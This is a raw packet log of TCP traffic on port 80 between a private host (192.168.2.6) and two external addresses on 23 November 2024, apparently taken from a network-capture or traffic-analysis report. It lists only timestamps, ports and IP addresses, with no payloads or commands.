Nov 23, 2024 13:28:31.853991985 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.854113102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.854171038 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.854958057 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.855057955 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.855117083 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.856071949 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.856206894 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.856262922 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.857177973 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.857196093 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.857238054 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.858069897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.858114958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.858171940 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.859086990 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.859148026 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.859219074 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.860177040 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.860229015 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.860289097 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.861232996 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.861285925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.861298084 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.861341953 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.862123013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.862263918 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.862325907 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.863185883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.863388062 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.863439083 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.864244938 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.864337921 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.864407063 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.865216017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.865272045 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.865312099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.865868092 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.866266012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.866317987 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.866357088 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.866405010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.867331028 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.867388010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.867408991 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.867459059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.868324041 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.868377924 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.868391037 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.868441105 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.869348049 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.869398117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.869477034 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.869524002 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.870335102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.873872995 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.876945972 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.907555103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.907567978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.907649040 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.908382893 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.908495903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.908801079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.908857107 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.950109959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.950237036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.950323105 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.951843977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.953871965 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.988684893 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.988804102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.988888025 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.990359068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.999349117 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.999399900 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.999465942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.000962973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.001004934 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.018182993 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.018248081 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.018296957 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.018342972 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.018573999 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.018619061 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.018718958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.018769026 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.018913031 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.018961906 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.019747019 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.019797087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.019920111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.019973993 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.020813942 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.020865917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.020953894 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.021002054 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.021819115 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.021872997 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.021962881 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.022011042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.022844076 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.022897005 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.022949934 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.023000002 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.023870945 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.023921013 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.023983002 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.024027109 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.024884939 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.024934053 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.025048971 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.025118113 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.025945902 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.025991917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.026031017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.026074886 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.026945114 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.026995897 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.027039051 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.027100086 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.027986050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.028037071 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.028090000 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.028137922 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.029015064 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.029063940 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.029109955 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.029165030 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.030008078 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.030071974 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.030109882 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.030164003 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.031032085 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.031084061 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.031126976 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.031176090 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.032125950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.032174110 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.032177925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.032227039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.033083916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.033188105 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.033236027 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.034132004 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.034183025 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.034223080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.034271955 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.035159111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.035208941 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.035285950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.035352945 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.036196947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.036246061 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.036318064 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.036365032 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.037434101 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.037482023 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.037571907 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.037619114 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.038695097 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.038714886 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.038746119 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.038779020 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.039467096 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.039518118 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.039556980 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.039604902 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.040375948 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.040436029 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.040716887 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.040766001 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.041327000 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.041374922 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.041481018 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.041539907 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.042376041 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.042427063 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.042567968 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.042618036 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.043366909 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.043431044 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.043477058 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.043524981 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.044373989 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.044425011 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.044500113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.044558048 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.045444965 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.045495987 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.045531988 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.045578003 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.046458960 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.046509027 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.046555996 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.046605110 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.047478914 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.047528028 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.047569036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.047615051 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.048507929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.048557043 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.048568010 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.048614979 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.049547911 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.049598932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.049645901 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.049693108 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.050571918 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.050626040 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.050666094 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.050714016 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.051600933 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.051639080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.051651955 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.051681995 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.052598953 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.052649975 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.052725077 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.052772999 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.053647041 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.053699017 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.053813934 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.053864956 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.054697990 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.054745913 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.054790974 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.054838896 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.055716038 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.055778027 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.055840015 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.055897951 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.056765079 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.056818008 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.056899071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.056947947 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.057833910 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.057847977 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.057889938 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.058780909 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.058836937 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.058904886 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.058964968 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.059803009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.059854984 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.059864044 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.059915066 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.060966969 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.061041117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.061074018 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.061124086 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.061847925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.061908960 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.061953068 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.062004089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.062880039 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.062938929 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.063003063 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.063066006 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.064037085 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.064111948 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.064238071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.064290047 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.065551996 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.065606117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.065712929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.065763950 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.066535950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.066592932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.066598892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.066647053 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.067342997 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.067387104 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.067528009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.067591906 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.068244934 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.068305016 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.068346024 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.068396091 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.069123030 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.069175959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.069272041 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.069324970 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.070092916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.070143938 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.070240021 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.070290089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.071208000 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.071259975 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.071304083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.071352005 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.115888119 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.115957975 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.116151094 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.117415905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.117505074 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.117589951 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.118711948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.118840933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.121000051 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.156790018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.156868935 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.156955004 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.198986053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.199071884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.199124098 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.201461077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.201571941 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.201641083 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.203285933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.203356028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:32.203403950 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:32.219574928 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.219672918 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.219728947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.219796896 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.220058918 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.220108986 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.220186949 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.220236063 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.221097946 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.221180916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.221249104 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.222136021 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.222297907 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.222353935 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.223175049 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.223227024 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.223289967 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.224191904 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.224263906 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.224309921 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.225244999 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.225295067 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.225328922 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.225382090 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.226371050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.226424932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.226444006 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:32.226530075 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:32.227257967 CET	80	49777	185.215.113.16	192.168.2.6
